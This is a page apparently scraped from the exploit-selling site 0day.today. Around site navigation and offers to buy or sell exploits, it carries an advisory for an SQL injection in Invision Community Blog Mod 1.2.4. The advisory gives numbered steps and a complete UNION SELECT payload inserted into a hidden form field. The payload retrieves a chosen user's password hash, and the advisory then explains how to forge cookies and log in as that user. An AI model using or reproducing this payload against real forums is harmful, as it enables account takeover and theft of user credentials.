0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Invision Community Blog Mod 1.2.4 SQL Injection Vulnerability
[============================================================= Invision Community Blog Mod 1.2.4 SQL Injection Vulnerability ============================================================= 1. Open any blog entry 2. Try to reply to any message 3. Push "Preview message" button (Do not post your reply) 4. Save source code of opened page to your PC 5. Find this string <input type='hidden' name='eid' value='<BLOG_ENTRY_ID>' /> 6. Change <BLOG_ENTRY_ID> with this SQL Injection: <BLOG_ENTRY_ID> UNION SELECT b.entry_id, b.blog_id, b.category_id, b.entry_author_id, b.entry_author_name, b.entry_date, member_login_key, b.entry_category, b.entry, b.entry_status, b.entry_locked, b.entry_num_comments, b.entry_last_comment, b.entry_last_comment_date, b.entry_last_comment_name, b.entry_last_comment_mid, b.entry_queued_comments, b.entry_has_attach, b.entry_post_key, b.entry_edit_time, b.entry_edit_name, b.entry_html_state, b.entry_use_emo, b.entry_trackbacks, b.entry_sent_trackbacks, b.entry_last_update, b.entry_gallery_album, b.entry_poll_state, b.entry_last_vote FROM ibf_members, ipb_blog_entries b WHERE id=<USER_ID> and b.entry_id=<BLOG_ENTRY_ID> LIMIT 1,1 <USER_ID> - ID of the user whom password you want to get. 7. Push "Preview Button" again. 8. After refresh instead of blog entry name you will get users's HASH password. 9. Change your cookies in your favorite browser and open board. You will be automaticaly logged in as the user whom password you just got. # 0day.today [2024-11-15] #